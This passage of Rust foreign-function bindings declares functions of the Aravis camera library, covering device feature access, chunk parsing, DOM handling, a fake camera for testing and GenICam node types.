pub fn arv_camera_uv_set_usb_mode(camera: *mut ArvCamera, usb_mode: ArvUvUsbMode);
//=========================================================================
// ArvChunkParser
//=========================================================================
pub fn arv_chunk_parser_get_type() -> GType;
pub fn arv_chunk_parser_new(xml: *const c_char, size: size_t) -> *mut ArvChunkParser;
pub fn arv_chunk_parser_get_boolean_value(
parser: *mut ArvChunkParser,
buffer: *mut ArvBuffer,
chunk: *const c_char,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_chunk_parser_get_float_value(
parser: *mut ArvChunkParser,
buffer: *mut ArvBuffer,
chunk: *const c_char,
error: *mut *mut glib::GError,
) -> c_double;
pub fn arv_chunk_parser_get_integer_value(
parser: *mut ArvChunkParser,
buffer: *mut ArvBuffer,
chunk: *const c_char,
error: *mut *mut glib::GError,
) -> i64;
pub fn arv_chunk_parser_get_string_value(
parser: *mut ArvChunkParser,
buffer: *mut ArvBuffer,
chunk: *const c_char,
error: *mut *mut glib::GError,
) -> *const c_char;
//=========================================================================
// ArvDevice
//=========================================================================
pub fn arv_device_get_type() -> GType;
pub fn arv_device_create_chunk_parser(device: *mut ArvDevice) -> *mut ArvChunkParser;
pub fn arv_device_create_stream(
device: *mut ArvDevice,
callback: ArvStreamCallback,
user_data: *mut c_void,
error: *mut *mut glib::GError,
) -> *mut ArvStream;
pub fn arv_device_dup_available_enumeration_feature_values(
device: *mut ArvDevice,
feature: *const c_char,
n_values: *mut c_uint,
error: *mut *mut glib::GError,
) -> *mut i64;
pub fn arv_device_dup_available_enumeration_feature_values_as_display_names(
device: *mut ArvDevice,
feature: *const c_char,
n_values: *mut c_uint,
error: *mut *mut glib::GError,
) -> *mut *const c_char;
pub fn arv_device_dup_available_enumeration_feature_values_as_strings(
device: *mut ArvDevice,
feature: *const c_char,
n_values: *mut c_uint,
error: *mut *mut glib::GError,
) -> *mut *const c_char;
pub fn arv_device_execute_command(
device: *mut ArvDevice,
feature: *const c_char,
error: *mut *mut glib::GError,
);
pub fn arv_device_get_boolean_feature_value(
device: *mut ArvDevice,
feature: *const c_char,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_device_get_boolean_feature_value_gi(
device: *mut ArvDevice,
feature: *const c_char,
value: *mut gboolean,
error: *mut *mut glib::GError,
);
pub fn arv_device_get_feature(device: *mut ArvDevice, feature: *const c_char)
-> *mut ArvGcNode;
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_device_get_feature_access_mode(
device: *mut ArvDevice,
feature: *const c_char,
) -> ArvGcAccessMode;
pub fn arv_device_get_float_feature_bounds(
device: *mut ArvDevice,
feature: *const c_char,
min: *mut c_double,
max: *mut c_double,
error: *mut *mut glib::GError,
);
#[cfg(any(feature = "v0_8_16", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_16")))]
pub fn arv_device_get_float_feature_increment(
device: *mut ArvDevice,
feature: *const c_char,
error: *mut *mut glib::GError,
) -> c_double;
pub fn arv_device_get_float_feature_value(
device: *mut ArvDevice,
feature: *const c_char,
error: *mut *mut glib::GError,
) -> c_double;
pub fn arv_device_get_genicam(device: *mut ArvDevice) -> *mut ArvGc;
pub fn arv_device_get_genicam_xml(device: *mut ArvDevice, size: *mut size_t) -> *const c_char;
pub fn arv_device_get_integer_feature_bounds(
device: *mut ArvDevice,
feature: *const c_char,
min: *mut i64,
max: *mut i64,
error: *mut *mut glib::GError,
);
pub fn arv_device_get_integer_feature_increment(
device: *mut ArvDevice,
feature: *const c_char,
error: *mut *mut glib::GError,
) -> i64;
pub fn arv_device_get_integer_feature_value(
device: *mut ArvDevice,
feature: *const c_char,
error: *mut *mut glib::GError,
) -> i64;
pub fn arv_device_get_string_feature_value(
device: *mut ArvDevice,
feature: *const c_char,
error: *mut *mut glib::GError,
) -> *const c_char;
#[cfg(any(feature = "v0_8_17", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_17")))]
pub fn arv_device_is_enumeration_entry_available(
device: *mut ArvDevice,
feature: *const c_char,
entry: *const c_char,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_device_is_feature_available(
device: *mut ArvDevice,
feature: *const c_char,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_device_read_memory(
device: *mut ArvDevice,
address: u64,
size: u32,
buffer: *mut c_void,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_device_read_register(
device: *mut ArvDevice,
address: u64,
value: *mut u32,
error: *mut *mut glib::GError,
) -> gboolean;
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_device_set_access_check_policy(device: *mut ArvDevice, policy: ArvAccessCheckPolicy);
pub fn arv_device_set_boolean_feature_value(
device: *mut ArvDevice,
feature: *const c_char,
value: gboolean,
error: *mut *mut glib::GError,
);
pub fn arv_device_set_features_from_string(
device: *mut ArvDevice,
string: *const c_char,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_device_set_float_feature_value(
device: *mut ArvDevice,
feature: *const c_char,
value: c_double,
error: *mut *mut glib::GError,
);
pub fn arv_device_set_integer_feature_value(
device: *mut ArvDevice,
feature: *const c_char,
value: i64,
error: *mut *mut glib::GError,
);
#[cfg(any(feature = "v0_8_6", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_6")))]
pub fn arv_device_set_range_check_policy(device: *mut ArvDevice, policy: ArvRangeCheckPolicy);
pub fn arv_device_set_register_cache_policy(
device: *mut ArvDevice,
policy: ArvRegisterCachePolicy,
);
pub fn arv_device_set_string_feature_value(
device: *mut ArvDevice,
feature: *const c_char,
value: *const c_char,
error: *mut *mut glib::GError,
);
pub fn arv_device_write_memory(
device: *mut ArvDevice,
address: u64,
size: u32,
buffer: *mut c_void,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_device_write_register(
device: *mut ArvDevice,
address: u64,
value: u32,
error: *mut *mut glib::GError,
) -> gboolean;
//=========================================================================
// ArvDomCharacterData
//=========================================================================
pub fn arv_dom_character_data_get_type() -> GType;
pub fn arv_dom_character_data_get_data(self_: *mut ArvDomCharacterData) -> *const c_char;
pub fn arv_dom_character_data_set_data(self_: *mut ArvDomCharacterData, value: *const c_char);
//=========================================================================
// ArvDomDocument
//=========================================================================
pub fn arv_dom_document_get_type() -> GType;
pub fn arv_dom_document_new_from_memory(
buffer: *mut c_void,
size: c_int,
error: *mut *mut glib::GError,
) -> *mut ArvDomDocument;
pub fn arv_dom_document_new_from_path(
path: *const c_char,
error: *mut *mut glib::GError,
) -> *mut ArvDomDocument;
pub fn arv_dom_document_new_from_url(
url: *const c_char,
error: *mut *mut glib::GError,
) -> *mut ArvDomDocument;
pub fn arv_dom_document_append_from_memory(
document: *mut ArvDomDocument,
node: *mut ArvDomNode,
buffer: *mut c_void,
size: c_int,
error: *mut *mut glib::GError,
);
pub fn arv_dom_document_create_element(
self_: *mut ArvDomDocument,
tag_name: *const c_char,
) -> *mut ArvDomElement;
pub fn arv_dom_document_create_text_node(
self_: *mut ArvDomDocument,
data: *const c_char,
) -> *mut ArvDomText;
pub fn arv_dom_document_get_document_element(self_: *mut ArvDomDocument) -> *mut ArvDomElement;
pub fn arv_dom_document_get_href_data(
self_: *mut ArvDomDocument,
href: *const c_char,
size: *mut size_t,
) -> *mut c_void;
pub fn arv_dom_document_get_url(self_: *mut ArvDomDocument) -> *const c_char;
pub fn arv_dom_document_set_path(self_: *mut ArvDomDocument, path: *const c_char);
pub fn arv_dom_document_set_url(self_: *mut ArvDomDocument, url: *const c_char);
//=========================================================================
// ArvDomDocumentFragment
//=========================================================================
pub fn arv_dom_document_fragment_get_type() -> GType;
pub fn arv_dom_document_fragment_new() -> *mut ArvDomDocumentFragment;
//=========================================================================
// ArvDomElement
//=========================================================================
pub fn arv_dom_element_get_type() -> GType;
pub fn arv_dom_element_get_attribute(
self_: *mut ArvDomElement,
name: *const c_char,
) -> *const c_char;
pub fn arv_dom_element_get_tag_name(self_: *mut ArvDomElement) -> *const c_char;
pub fn arv_dom_element_set_attribute(
self_: *mut ArvDomElement,
name: *const c_char,
attribute_value: *const c_char,
);
//=========================================================================
// ArvDomNamedNodeMap
//=========================================================================
pub fn arv_dom_named_node_map_get_type() -> GType;
pub fn arv_dom_named_node_map_get_item(
map: *mut ArvDomNamedNodeMap,
index: c_uint,
) -> *mut ArvDomNode;
pub fn arv_dom_named_node_map_get_length(map: *mut ArvDomNamedNodeMap) -> c_uint;
pub fn arv_dom_named_node_map_get_named_item(
map: *mut ArvDomNamedNodeMap,
name: *const c_char,
) -> *mut ArvDomNode;
pub fn arv_dom_named_node_map_remove_named_item(
map: *mut ArvDomNamedNodeMap,
name: *const c_char,
) -> *mut ArvDomNode;
pub fn arv_dom_named_node_map_set_named_item(
map: *mut ArvDomNamedNodeMap,
item: *mut ArvDomNode,
) -> *mut ArvDomNode;
//=========================================================================
// ArvDomNode
//=========================================================================
pub fn arv_dom_node_get_type() -> GType;
pub fn arv_dom_node_append_child(
self_: *mut ArvDomNode,
new_child: *mut ArvDomNode,
) -> *mut ArvDomNode;
pub fn arv_dom_node_changed(self_: *mut ArvDomNode);
pub fn arv_dom_node_get_child_nodes(self_: *mut ArvDomNode) -> *mut ArvDomNodeList;
pub fn arv_dom_node_get_first_child(self_: *mut ArvDomNode) -> *mut ArvDomNode;
pub fn arv_dom_node_get_last_child(self_: *mut ArvDomNode) -> *mut ArvDomNode;
pub fn arv_dom_node_get_next_sibling(self_: *mut ArvDomNode) -> *mut ArvDomNode;
pub fn arv_dom_node_get_node_name(self_: *mut ArvDomNode) -> *const c_char;
pub fn arv_dom_node_get_node_type(self_: *mut ArvDomNode) -> ArvDomNodeType;
pub fn arv_dom_node_get_node_value(self_: *mut ArvDomNode) -> *const c_char;
pub fn arv_dom_node_get_owner_document(self_: *mut ArvDomNode) -> *mut ArvDomDocument;
pub fn arv_dom_node_get_parent_node(self_: *mut ArvDomNode) -> *mut ArvDomNode;
pub fn arv_dom_node_get_previous_sibling(self_: *mut ArvDomNode) -> *mut ArvDomNode;
pub fn arv_dom_node_has_child_nodes(self_: *mut ArvDomNode) -> gboolean;
pub fn arv_dom_node_insert_before(
self_: *mut ArvDomNode,
new_child: *mut ArvDomNode,
ref_child: *mut ArvDomNode,
) -> *mut ArvDomNode;
pub fn arv_dom_node_remove_child(
self_: *mut ArvDomNode,
old_child: *mut ArvDomNode,
) -> *mut ArvDomNode;
pub fn arv_dom_node_replace_child(
self_: *mut ArvDomNode,
new_child: *mut ArvDomNode,
old_child: *mut ArvDomNode,
) -> *mut ArvDomNode;
pub fn arv_dom_node_set_node_value(self_: *mut ArvDomNode, new_value: *const c_char);
//=========================================================================
// ArvDomNodeChildList
//=========================================================================
pub fn arv_dom_node_child_list_get_type() -> GType;
pub fn arv_dom_node_child_list_new(parent_node: *mut ArvDomNode) -> *mut ArvDomNodeList;
//=========================================================================
// ArvDomNodeList
//=========================================================================
pub fn arv_dom_node_list_get_type() -> GType;
pub fn arv_dom_node_list_get_item(list: *mut ArvDomNodeList, index: c_uint) -> *mut ArvDomNode;
pub fn arv_dom_node_list_get_length(list: *mut ArvDomNodeList) -> c_uint;
//=========================================================================
// ArvDomText
//=========================================================================
pub fn arv_dom_text_get_type() -> GType;
pub fn arv_dom_text_new(data: *const c_char) -> *mut ArvDomNode;
//=========================================================================
// ArvEvaluator
//=========================================================================
pub fn arv_evaluator_get_type() -> GType;
pub fn arv_evaluator_new(expression: *const c_char) -> *mut ArvEvaluator;
pub fn arv_evaluator_evaluate_as_double(
evaluator: *mut ArvEvaluator,
error: *mut *mut glib::GError,
) -> c_double;
pub fn arv_evaluator_evaluate_as_int64(
evaluator: *mut ArvEvaluator,
error: *mut *mut glib::GError,
) -> i64;
pub fn arv_evaluator_get_constant(
evaluator: *mut ArvEvaluator,
name: *const c_char,
) -> *const c_char;
pub fn arv_evaluator_get_expression(evaluator: *mut ArvEvaluator) -> *const c_char;
pub fn arv_evaluator_get_sub_expression(
evaluator: *mut ArvEvaluator,
name: *const c_char,
) -> *const c_char;
pub fn arv_evaluator_set_constant(
evaluator: *mut ArvEvaluator,
name: *const c_char,
constant: *const c_char,
);
pub fn arv_evaluator_set_double_variable(
evaluator: *mut ArvEvaluator,
name: *const c_char,
v_double: c_double,
);
pub fn arv_evaluator_set_expression(evaluator: *mut ArvEvaluator, expression: *const c_char);
pub fn arv_evaluator_set_int64_variable(
evaluator: *mut ArvEvaluator,
name: *const c_char,
v_int64: i64,
);
pub fn arv_evaluator_set_sub_expression(
evaluator: *mut ArvEvaluator,
name: *const c_char,
expression: *const c_char,
);
//=========================================================================
// ArvFakeCamera
//=========================================================================
pub fn arv_fake_camera_get_type() -> GType;
pub fn arv_fake_camera_new(serial_number: *const c_char) -> *mut ArvFakeCamera;
pub fn arv_fake_camera_new_full(
serial_number: *const c_char,
genicam_filename: *const c_char,
) -> *mut ArvFakeCamera;
pub fn arv_fake_camera_check_and_acknowledge_software_trigger(
camera: *mut ArvFakeCamera,
) -> gboolean;
pub fn arv_fake_camera_fill_buffer(
camera: *mut ArvFakeCamera,
buffer: *mut ArvBuffer,
packet_size: *mut u32,
);
pub fn arv_fake_camera_get_acquisition_status(camera: *mut ArvFakeCamera) -> u32;
pub fn arv_fake_camera_get_control_channel_privilege(camera: *mut ArvFakeCamera) -> u32;
pub fn arv_fake_camera_get_genicam_xml(
camera: *mut ArvFakeCamera,
size: *mut size_t,
) -> *const c_char;
pub fn arv_fake_camera_get_heartbeat_timeout(camera: *mut ArvFakeCamera) -> u32;
pub fn arv_fake_camera_get_payload(camera: *mut ArvFakeCamera) -> size_t;
pub fn arv_fake_camera_get_sleep_time_for_next_frame(
camera: *mut ArvFakeCamera,
next_timestamp_us: *mut u64,
) -> u64;
pub fn arv_fake_camera_get_stream_address(
camera: *mut ArvFakeCamera,
) -> *mut gio::GSocketAddress;
pub fn arv_fake_camera_is_in_free_running_mode(camera: *mut ArvFakeCamera) -> gboolean;
pub fn arv_fake_camera_is_in_software_trigger_mode(camera: *mut ArvFakeCamera) -> gboolean;
pub fn arv_fake_camera_read_memory(
camera: *mut ArvFakeCamera,
address: u32,
size: u32,
buffer: *mut c_void,
) -> gboolean;
pub fn arv_fake_camera_read_register(
camera: *mut ArvFakeCamera,
address: u32,
value: *mut u32,
) -> gboolean;
pub fn arv_fake_camera_set_control_channel_privilege(
camera: *mut ArvFakeCamera,
privilege: u32,
);
pub fn arv_fake_camera_set_fill_pattern(
camera: *mut ArvFakeCamera,
fill_pattern_callback: ArvFakeCameraFillPattern,
fill_pattern_data: *mut c_void,
);
pub fn arv_fake_camera_set_inet_address(
camera: *mut ArvFakeCamera,
address: *mut gio::GInetAddress,
);
pub fn arv_fake_camera_set_trigger_frequency(camera: *mut ArvFakeCamera, frequency: c_double);
pub fn arv_fake_camera_wait_for_next_frame(camera: *mut ArvFakeCamera);
pub fn arv_fake_camera_write_memory(
camera: *mut ArvFakeCamera,
address: u32,
size: u32,
buffer: *mut c_void,
) -> gboolean;
pub fn arv_fake_camera_write_register(
camera: *mut ArvFakeCamera,
address: u32,
value: u32,
) -> gboolean;
//=========================================================================
// ArvFakeDevice
//=========================================================================
pub fn arv_fake_device_get_type() -> GType;
pub fn arv_fake_device_new(
serial_number: *const c_char,
error: *mut *mut glib::GError,
) -> *mut ArvDevice;
pub fn arv_fake_device_get_fake_camera(device: *mut ArvFakeDevice) -> *mut ArvFakeCamera;
//=========================================================================
// ArvFakeInterface
//=========================================================================
pub fn arv_fake_interface_get_type() -> GType;
pub fn arv_fake_interface_get_instance() -> *mut ArvInterface;
//=========================================================================
// ArvFakeStream
//=========================================================================
pub fn arv_fake_stream_get_type() -> GType;
//=========================================================================
// ArvGc
//=========================================================================
pub fn arv_gc_get_type() -> GType;
pub fn arv_gc_new(device: *mut ArvDevice, xml: *mut c_void, size: size_t) -> *mut ArvGc;
pub fn arv_gc_p_value_indexed_node_new() -> *mut ArvGcNode;
pub fn arv_gc_invalidator_has_changed(self_: *mut ArvGcInvalidatorNode) -> gboolean;
#[cfg(any(feature = "v0_8_6", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_6")))]
pub fn arv_gc_get_access_check_policy(genicam: *mut ArvGc) -> ArvAccessCheckPolicy;
pub fn arv_gc_get_buffer(genicam: *mut ArvGc) -> *mut ArvBuffer;
pub fn arv_gc_get_device(genicam: *mut ArvGc) -> *mut ArvDevice;
pub fn arv_gc_get_node(genicam: *mut ArvGc, name: *const c_char) -> *mut ArvGcNode;
#[cfg(any(feature = "v0_8_6", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_6")))]
pub fn arv_gc_get_range_check_policy(genicam: *mut ArvGc) -> ArvRangeCheckPolicy;
pub fn arv_gc_get_register_cache_policy(genicam: *mut ArvGc) -> ArvRegisterCachePolicy;
pub fn arv_gc_register_feature_node(genicam: *mut ArvGc, node: *mut ArvGcFeatureNode);
#[cfg(any(feature = "v0_8_6", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_6")))]
pub fn arv_gc_set_access_check_policy(genicam: *mut ArvGc, policy: ArvAccessCheckPolicy);
pub fn arv_gc_set_buffer(genicam: *mut ArvGc, buffer: *mut ArvBuffer);
pub fn arv_gc_set_default_node_data(genicam: *mut ArvGc, node_name: *const c_char, ...);
#[cfg(any(feature = "v0_8_6", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_6")))]
pub fn arv_gc_set_range_check_policy(genicam: *mut ArvGc, policy: ArvRangeCheckPolicy);
pub fn arv_gc_set_register_cache_policy(genicam: *mut ArvGc, policy: ArvRegisterCachePolicy);
//=========================================================================
// ArvGcBoolean
//=========================================================================
pub fn arv_gc_boolean_get_type() -> GType;
pub fn arv_gc_boolean_new() -> *mut ArvGcNode;
pub fn arv_gc_boolean_get_value(
gc_boolean: *mut ArvGcBoolean,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_gc_boolean_get_value_gi(
gc_boolean: *mut ArvGcBoolean,
value: *mut gboolean,
error: *mut *mut glib::GError,
);
pub fn arv_gc_boolean_set_value(
gc_boolean: *mut ArvGcBoolean,
v_boolean: gboolean,
error: *mut *mut glib::GError,
);
//=========================================================================
// ArvGcCategory
//=========================================================================
pub fn arv_gc_category_get_type() -> GType;
pub fn arv_gc_category_new() -> *mut ArvGcNode;
pub fn arv_gc_category_get_features(category: *mut ArvGcCategory) -> *const glib::GSList;
//=========================================================================
// ArvGcCommand
//=========================================================================
pub fn arv_gc_command_get_type() -> GType;
pub fn arv_gc_command_new() -> *mut ArvGcNode;
pub fn arv_gc_command_execute(gc_command: *mut ArvGcCommand, error: *mut *mut glib::GError);
//=========================================================================
// ArvGcConverter
//=========================================================================
pub fn arv_gc_converter_get_type() -> GType;
//=========================================================================
// ArvGcConverterNode
//=========================================================================
pub fn arv_gc_converter_node_get_type() -> GType;
pub fn arv_gc_converter_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcEnumEntry
//=========================================================================
pub fn arv_gc_enum_entry_get_type() -> GType;
pub fn arv_gc_enum_entry_new() -> *mut ArvGcNode;
pub fn arv_gc_enum_entry_get_value(
entry: *mut ArvGcEnumEntry,
error: *mut *mut glib::GError,
) -> i64;
//=========================================================================
// ArvGcEnumeration
//=========================================================================
pub fn arv_gc_enumeration_get_type() -> GType;
pub fn arv_gc_enumeration_new() -> *mut ArvGcNode;
pub fn arv_gc_enumeration_dup_available_display_names(
enumeration: *mut ArvGcEnumeration,
n_values: *mut c_uint,
error: *mut *mut glib::GError,
) -> *mut *const c_char;
pub fn arv_gc_enumeration_dup_available_int_values(
enumeration: *mut ArvGcEnumeration,
n_values: *mut c_uint,
error: *mut *mut glib::GError,
) -> *mut i64;
pub fn arv_gc_enumeration_dup_available_string_values(
enumeration: *mut ArvGcEnumeration,
n_values: *mut c_uint,
error: *mut *mut glib::GError,
) -> *mut *const c_char;
pub fn arv_gc_enumeration_get_entries(
enumeration: *mut ArvGcEnumeration,
) -> *const glib::GSList;
pub fn arv_gc_enumeration_get_int_value(
enumeration: *mut ArvGcEnumeration,
error: *mut *mut glib::GError,
) -> i64;
pub fn arv_gc_enumeration_get_string_value(
enumeration: *mut ArvGcEnumeration,
error: *mut *mut glib::GError,
) -> *const c_char;
pub fn arv_gc_enumeration_set_int_value(
enumeration: *mut ArvGcEnumeration,
value: i64,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_gc_enumeration_set_string_value(
enumeration: *mut ArvGcEnumeration,
value: *const c_char,
error: *mut *mut glib::GError,
) -> gboolean;
//=========================================================================
// ArvGcFeatureNode
//=========================================================================
pub fn arv_gc_feature_node_get_type() -> GType;
pub fn arv_gc_feature_node_get_actual_access_mode(
gc_feature_node: *mut ArvGcFeatureNode,
) -> ArvGcAccessMode;
pub fn arv_gc_feature_node_get_description(
gc_feature_node: *mut ArvGcFeatureNode,
) -> *const c_char;
pub fn arv_gc_feature_node_get_display_name(
gc_feature_node: *mut ArvGcFeatureNode,
) -> *const c_char;
pub fn arv_gc_feature_node_get_imposed_access_mode(
gc_feature_node: *mut ArvGcFeatureNode,
) -> ArvGcAccessMode;
pub fn arv_gc_feature_node_get_name(gc_feature_node: *mut ArvGcFeatureNode) -> *const c_char;
pub fn arv_gc_feature_node_get_name_space(
gc_feature_node: *mut ArvGcFeatureNode,
) -> ArvGcNameSpace;
pub fn arv_gc_feature_node_get_tooltip(gc_feature_node: *mut ArvGcFeatureNode)
-> *const c_char;
pub fn arv_gc_feature_node_get_value_as_string(
gc_feature_node: *mut ArvGcFeatureNode,
error: *mut *mut glib::GError,
) -> *const c_char;
pub fn arv_gc_feature_node_get_visibility(
gc_feature_node: *mut ArvGcFeatureNode,
) -> ArvGcVisibility;
pub fn arv_gc_feature_node_is_available(
gc_feature_node: *mut ArvGcFeatureNode,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_gc_feature_node_is_implemented(
gc_feature_node: *mut ArvGcFeatureNode,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_gc_feature_node_is_locked(
gc_feature_node: *mut ArvGcFeatureNode,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_gc_feature_node_set_value_from_string(
gc_feature_node: *mut ArvGcFeatureNode,
string: *const c_char,
error: *mut *mut glib::GError,
);
//=========================================================================
// ArvGcFloatNode
//=========================================================================
pub fn arv_gc_float_node_get_type() -> GType;
pub fn arv_gc_float_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcFloatRegNode
//=========================================================================
pub fn arv_gc_float_reg_node_get_type() -> GType;
pub fn arv_gc_float_reg_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcGroupNode
//=========================================================================
pub fn arv_gc_group_node_get_type() -> GType;
pub fn arv_gc_group_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcIndexNode
//=========================================================================
pub fn arv_gc_index_node_get_type() -> GType;
pub fn arv_gc_index_node_new() -> *mut ArvGcNode;
pub fn arv_gc_index_node_get_index(
index_node: *mut ArvGcIndexNode,
default_offset: i64,
error: *mut *mut glib::GError,
) -> i64;
//=========================================================================
// ArvGcIntConverterNode
//=========================================================================
pub fn arv_gc_int_converter_node_get_type() -> GType;
pub fn arv_gc_int_converter_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcIntRegNode
//=========================================================================
pub fn arv_gc_int_reg_node_get_type() -> GType;
pub fn arv_gc_int_reg_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcIntSwissKnifeNode
//=========================================================================
pub fn arv_gc_int_swiss_knife_node_get_type() -> GType;
pub fn arv_gc_int_swiss_knife_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcIntegerNode
//=========================================================================
pub fn arv_gc_integer_node_get_type() -> GType;
pub fn arv_gc_integer_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcInvalidatorNode
//=========================================================================
pub fn arv_gc_invalidator_node_get_type() -> GType;
pub fn arv_gc_invalidator_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcMaskedIntRegNode
//=========================================================================
pub fn arv_gc_masked_int_reg_node_get_type() -> GType;
pub fn arv_gc_masked_int_reg_node_new() -> *mut ArvGcNode;
//=========================================================================
// ArvGcNode
//=========================================================================
pub fn arv_gc_node_get_type() -> GType;
pub fn arv_gc_node_get_genicam(gc_node: *mut ArvGcNode) -> *mut ArvGc;
//=========================================================================
// ArvGcPort
//=========================================================================
pub fn arv_gc_port_get_type() -> GType;
pub fn arv_gc_port_new() -> *mut ArvGcNode;
pub fn arv_gc_port_read(
port: *mut ArvGcPort,
buffer: *mut c_void,
address: u64,
length: u64,
error: *mut *mut glib::GError,
);
pub fn arv_gc_port_write(
port: *mut ArvGcPort,
buffer: *mut c_void,
address: u64,
length: u64,
error: *mut *mut glib::GError,
);
//=========================================================================
// ArvGcPropertyNode
//=========================================================================
pub fn arv_gc_property_node_get_type() -> GType;
pub fn arv_gc_property_node_new_access_mode() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_address() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_bit() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_cachable() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_chunk_id() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_command_value() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_constant() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_description() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_display_name() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_display_notation() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_display_precision() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_endianness() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_event_id() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_expression() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_formula() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_formula_from() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_formula_to() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_imposed_access_mode() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_increment() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_is_linear() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_length() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_lsb() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_maximum() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_minimum() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_msb() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_off_value() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_on_value() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_address() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_command_value() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_feature() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_increment() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_is_available() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_is_implemented() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_is_locked() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_length() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_maximum() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_minimum() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_port() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_selected() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_value() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_value_default() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_p_variable() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_polling_time() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_representation() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_sign() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_slope() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_streamable() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_tooltip() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_unit() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_value() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_value_default() -> *mut ArvGcNode;
pub fn arv_gc_property_node_new_visibility() -> *mut ArvGcNode;
pub fn arv_gc_property_node_get_access_mode(
self_: *mut ArvGcPropertyNode,
default_value: ArvGcAccessMode,
) -> ArvGcAccessMode;
pub fn arv_gc_property_node_get_cachable(
self_: *mut ArvGcPropertyNode,
default_value: ArvGcCachable,
) -> ArvGcCachable;
pub fn arv_gc_property_node_get_display_notation(
self_: *mut ArvGcPropertyNode,
default_value: ArvGcDisplayNotation,
) -> ArvGcDisplayNotation;
pub fn arv_gc_property_node_get_display_precision(
self_: *mut ArvGcPropertyNode,
default_value: i64,
) -> i64;
pub fn arv_gc_property_node_get_double(
node: *mut ArvGcPropertyNode,
error: *mut *mut glib::GError,
) -> c_double;
pub fn arv_gc_property_node_get_endianness(
self_: *mut ArvGcPropertyNode,
default_value: c_uint,
) -> c_uint;
pub fn arv_gc_property_node_get_int64(
node: *mut ArvGcPropertyNode,
error: *mut *mut glib::GError,
) -> i64;
pub fn arv_gc_property_node_get_linked_node(node: *mut ArvGcPropertyNode) -> *mut ArvGcNode;
pub fn arv_gc_property_node_get_lsb(
